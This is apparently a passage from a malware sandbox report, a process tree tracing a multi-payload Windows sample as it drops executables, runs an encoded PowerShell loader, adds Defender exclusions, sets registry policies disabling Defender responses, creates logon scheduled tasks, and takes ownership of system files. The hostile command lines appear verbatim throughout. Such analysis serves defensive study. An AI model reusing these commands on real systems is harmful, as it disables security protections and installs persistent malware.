      PID:5952
  - - C:\Windows\SysWOW64\cipher.exe
      cipher /e
      4⤵
      PID:2760
- - C:\Users\Admin\AppData\Local\Temp\vir_a31cbce7-7704-4354-b64c-cb689ae38928\Rover.exe
    Rover.exe
    3⤵
    - Modifies WinLogon for persistence
    - UAC bypass
    - Executes dropped EXE
    - Checks whether UAC is enabled
    - Drops file in Program Files directory
    - Suspicious use of AdjustPrivilegeToken
    - System policy modification
    PID:1064
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\vir_a31cbce7-7704-4354-b64c-cb689ae38928\web.htm
    3⤵
    PID:476
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ffcac243cb8,0x7ffcac243cc8,0x7ffcac243cd8
      4⤵
      PID:3380
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2056,5325482517209766938,9129331219253387266,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 /prefetch:3
      4⤵
      PID:5908
- - C:\Users\Admin\AppData\Local\Temp\vir_a31cbce7-7704-4354-b64c-cb689ae38928\Google.exe
    Google.exe
    3⤵
    - Executes dropped EXE
    PID:1096
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\vir_a31cbce7-7704-4354-b64c-cb689ae38928\helper.vbs"
    3⤵
    PID:5852
- - C:\Windows\SysWOW64\PING.EXE
    ping google.com -t -n 1 -s 4 -4
    3⤵
    - Runs ping.exe
    PID:2908
- - C:\Windows\SysWOW64\PING.EXE
    ping mrbeast.codes -t -n 1 -s 4 -4
    3⤵
    - Runs ping.exe
    PID:6000
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy Google.exe C:\Users\Admin\Desktop
    3⤵
    - Enumerates system info in registry
    PID:4848
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy Rover.exe C:\Users\Admin\Desktop
    3⤵
    - Enumerates system info in registry
    PID:6092
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy spinner.gif C:\Users\Admin\Desktop
    3⤵
    - Enumerates system info in registry
    PID:5980
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K bloatware.cmd
    3⤵
    - Modifies registry class
    PID:3300
  - - C:\Users\Admin\AppData\Local\Temp\vir_a31cbce7-7704-4354-b64c-cb689ae38928\bloatware\1.exe
      1.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:6044
  - - C:\Users\Admin\AppData\Local\Temp\vir_a31cbce7-7704-4354-b64c-cb689ae38928\bloatware\3.exe
      3.exe
      4⤵
      Executes dropped EXE
      Modifies registry class
      Suspicious use of SetWindowsHookEx
      PID:5500
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5500 -s 1924
        5⤵
        Program crash
        
        PID:4664
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\vir_a31cbce7-7704-4354-b64c-cb689ae38928\bloatware\2.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
      4⤵
      Blocklisted process makes network request
      PID:3868
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /K SilentSetup.cmd
      4⤵
      PID:5304
    - - C:\Users\Admin\AppData\Local\Temp\vir_a31cbce7-7704-4354-b64c-cb689ae38928\bloatware\4\WinaeroTweaker-1.40.0.0-setup.exe
        
        WinaeroTweaker-1.40.0.0-setup.exe /SP- /VERYSILENT
        5⤵
        Executes dropped EXE
        
        PID:1616
      - C:\Users\Admin\AppData\Local\Temp\is-77CV8.tmp\WinaeroTweaker-1.40.0.0-setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-77CV8.tmp\WinaeroTweaker-1.40.0.0-setup.tmp" /SL5="$20372,2180794,169984,C:\Users\Admin\AppData\Local\Temp\vir_a31cbce7-7704-4354-b64c-cb689ae38928\bloatware\4\WinaeroTweaker-1.40.0.0-setup.exe" /SP- /VERYSILENT
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        
        PID:3024
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im winaerotweaker.exe /f
        7⤵
        
        PID:1656
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im winaerotweaker.exe /f
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2324
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im winaerotweakerhelper.exe /f
        7⤵
        
        PID:3608
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im winaerotweakerhelper.exe /f
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5588
- - C:\Users\Admin\AppData\Local\Temp\vir_a31cbce7-7704-4354-b64c-cb689ae38928\regmess.exe
    regmess.exe
    3⤵
    - Executes dropped EXE
    PID:4536
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\regmess_91d15488-3760-4afb-88c9-29b2d1439b09\regmess.bat" "
      4⤵
      PID:5276
    - - C:\Windows\SysWOW64\reg.exe
        
        reg import Setup.reg /reg:32
        5⤵
        
        PID:5568
    - - C:\Windows\SysWOW64\reg.exe
        
        reg import Console.reg /reg:32
        5⤵
        
        PID:5608
    - - C:\Windows\SysWOW64\reg.exe
        
        reg import Desktop.reg /reg:32
        5⤵
        Sets desktop wallpaper using registry
        
        PID:5144
    - - C:\Windows\SysWOW64\reg.exe
        
        reg import International.reg /reg:32
        5⤵
        
        PID:2336
    - - C:\Windows\SysWOW64\reg.exe
        
        reg import Fonts.reg /reg:32
        5⤵
        Modifies Internet Explorer settings
        
        PID:5772
    - - C:\Windows\SysWOW64\reg.exe
        
        reg import Cursors.reg /reg:32
        5⤵
        
        PID:2144
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 10
    3⤵
    - Delays execution with timeout.exe
    PID:5704
- - C:\Users\Admin\AppData\Local\Temp\vir_a31cbce7-7704-4354-b64c-cb689ae38928\scary.exe
    scary.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:5916
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
      4⤵
      Creates scheduled task(s)
      PID:5708
  - - C:\Program Files\SubDir\Romilyaa.exe
      "C:\Program Files\SubDir\Romilyaa.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of SetWindowsHookEx
      PID:5340
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        5⤵
        Creates scheduled task(s)
        
        PID:5584
- - C:\Users\Admin\AppData\Local\Temp\vir_a31cbce7-7704-4354-b64c-cb689ae38928\the.exe
    the.exe
    3⤵
    - Executes dropped EXE
    PID:5108
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4AEQAOAAsACAAMAB4ADIARgAsACAAMAB4ADEARgAsACAAMAB4ADYAQwAsACAAMAB4ADQARQAsACAAMAB4ADgAOAAsACAAMAB4ADQANQAsACAAMAB4AEQARAAsACAAMAB4ADEAQQAsACAAMAB4AEUARAAsACAAMAB4ADUAQwAsACAAMAB4ADQAQgAsACAAMAB4ADQAOQAsACAAMAB4ADQAOQAsACAAMAB4ADAAQwAsACAAMAB4ADMAQgAsACAAMAB4AEYAQQAsACAAMAB4AEEAMQAsACAAMAB4ADIANwAsACAAMAB4ADMARAAsACAAMAB4ADIAQQAsACAAMAB4AEIANQAsACAAMAB4AEMARAAsACAAMAB4ADIANwAsACAAMAB4ADQARAAsACAAMAB4ADAAQQAsACAAMAB4ADUAOQAsACAAMAB4ADUANwAsACAAMAB4AEMAQQAsACAAMAB4ADcAMAAsACAAMAB4AEEAQQAsACAAMAB4AEMAQgApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAAxAEMALAAgADAAeABBADMALAAgADAAeAAzADQALAAgADAAeABBADYALAAgADAAeAA4ADQALAAgADAAeABDAEMALAAgADAAeABBAEEALAAgADAAeABEADIALAAgADAAeABCADAALAAgADAAeABFAEUALAAgADAAeABBAEMALAAgADAAeABEADcALAAgADAAeABFAEIALAAgADAAeABGAEUALAAgADAAeAA4AEYALAAgADAAeAA5ADkAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
      4⤵
      UAC bypass
      Windows security bypass
      Command and Scripting Interpreter: PowerShell
      Manipulates Digital Signatures
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5948
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\vir_a31cbce7-7704-4354-b64c-cb689ae38928\the.exe" -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:332
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
        5⤵
        Drops startup file
        Suspicious use of AdjustPrivilegeToken
        
        PID:1168
      - C:\Users\Admin\Pictures\nztlCaR904IgtCjEbP52qghq.exe
        
        "C:\Users\Admin\Pictures\nztlCaR904IgtCjEbP52qghq.exe" /s
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Writes to the Master Boot Record (MBR)
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1568
        
        C:\Users\Admin\Pictures\360TS_Setup.exe
        
        "C:\Users\Admin\Pictures\360TS_Setup.exe" /c:WW.Marketator.CPI20230405 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo=
        7⤵
        Executes dropped EXE
        
        PID:5520
        
        C:\Program Files (x86)\1716933222_0\360TS_Setup.exe
        
        "C:\Program Files (x86)\1716933222_0\360TS_Setup.exe" /c:WW.Marketator.CPI20230405 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo= /TSinstall
        8⤵
        
        PID:2412
      - C:\Users\Admin\Pictures\O7YNvw3NfVMRHPjhGGrNyOgS.exe
        
        "C:\Users\Admin\Pictures\O7YNvw3NfVMRHPjhGGrNyOgS.exe"
        6⤵
        Modifies firewall policy service
        Windows security bypass
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Windows security modification
        Checks whether UAC is enabled
        Drops file in System32 directory
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:6060
        
        C:\Users\Admin\Documents\SimpleAdobe\0SWxogkQXrCADQdIzOkTRAKo.exe
        
        C:\Users\Admin\Documents\SimpleAdobe\0SWxogkQXrCADQdIzOkTRAKo.exe
        7⤵
        
        PID:7300
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        8⤵
        
        PID:6756
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        8⤵
        
        PID:7544
      - C:\Users\Admin\Pictures\uLDU7ZSa2MMzYIaovelQPWkd.exe
        
        "C:\Users\Admin\Pictures\uLDU7ZSa2MMzYIaovelQPWkd.exe"
        6⤵
        
        PID:2908
        
        C:\Users\Admin\AppData\Local\Temp\7zS1A1D.tmp\Install.exe
        
        .\Install.exe
        7⤵
        
        PID:5284
        
        C:\Users\Admin\AppData\Local\Temp\7zS1C5F.tmp\Install.exe
        
        .\Install.exe /NQHxdidUQs "385118" /S
        8⤵
        
        PID:1172
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        9⤵
        
        PID:4220
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        10⤵
        
        PID:6152
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        11⤵
        
        PID:6236
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        12⤵
        
        PID:6184
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        10⤵
        
        PID:6200
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        11⤵
        
        PID:6228
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        12⤵
        
        PID:6216
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        10⤵
        
        PID:6240
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        11⤵
        
        PID:6256
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        12⤵
        
        PID:6280
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        10⤵
        
        PID:6308
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        11⤵
        
        PID:6332
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        12⤵
        
        PID:6356
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        10⤵
        
        PID:6384
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        11⤵
        
        PID:6372
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6392
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        13⤵
        
        PID:6936
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        9⤵
        
        PID:7056
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        10⤵
        
        PID:6472
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        11⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6332
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        12⤵
        
        PID:7308
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bqGGCwwWIommTRgeuN" /SC once /ST 21:55:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS1C5F.tmp\Install.exe\" 1g /XTedidEJfJ 385118 /S" /V1 /F
        9⤵
        Creates scheduled task(s)
        
        PID:6448
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bqGGCwwWIommTRgeuN"
        9⤵
        
        PID:2380
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn bqGGCwwWIommTRgeuN
        10⤵
        
        PID:6532
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn bqGGCwwWIommTRgeuN
        11⤵
        
        PID:7612
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2412
- - C:\Users\Admin\AppData\Local\Temp\vir_a31cbce7-7704-4354-b64c-cb689ae38928\wimloader.dll
    wimloader.dll
    3⤵
    - Executes dropped EXE
    PID:988
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\wimloader_bba61616-fa5e-4642-9dde-02d0065a6b82\caller.cmd" "
      4⤵
      PID:5608
- - C:\Users\Admin\AppData\Local\Temp\vir_a31cbce7-7704-4354-b64c-cb689ae38928\ac3.exe
    ac3.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: GetForegroundWindowSpam
    PID:3060
- - C:\Windows\SysWOW64\PING.EXE
    ping trustsentry.com -t -n 1 -s 4 -4
    3⤵
    - Runs ping.exe
    PID:5772
- - C:\Windows\SysWOW64\PING.EXE
    ping ya.ru -t -n 1 -s 4 -4
    3⤵
    - Runs ping.exe
    PID:2656
- - C:\Windows\SysWOW64\PING.EXE
    ping tria.ge -t -n 1 -s 4 -4
    3⤵
    - Runs ping.exe
    PID:3884
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy bloatware C:\Users\Admin\Desktop
    3⤵
    - Enumerates system info in registry
    PID:5952
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy beastify.url C:\Users\Admin\Desktop
    3⤵
    - Enumerates system info in registry
    PID:5432
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy shell1.ps1 C:\Users\Admin\Desktop
    3⤵
    - Enumerates system info in registry
    PID:1536
- - C:\Windows\SysWOW64\takeown.exe
    takeown /R /F C:\Windows\explorer.exe
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:240
- - C:\Windows\SysWOW64\icacls.exe
    icacls c:\Windows\explorer.exe /grant Admin:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:232
- - C:\Windows\SysWOW64\takeown.exe
    takeown /R /F C:\Windows\System32\dwm.exe
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1252
- - C:\Windows\SysWOW64\icacls.exe
    icacls c:\Windows\System32\dwm.exe /grant Admin:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5924
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy xcer.cer C:\Users\Admin\Desktop
    3⤵
    - Enumerates system info in registry
    PID:5612
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 15
    3⤵
    - Delays execution with timeout.exe
    PID:5384
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 15
    3⤵
    - Delays execution with timeout.exe
    PID:5328
- - C:\Users\Admin\AppData\Local\Temp\vir_a31cbce7-7704-4354-b64c-cb689ae38928\freebobux.exe
    freebobux.exe
    3⤵
    PID:6304
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\34E9.tmp\freebobux.bat""
      4⤵
      PID:6632
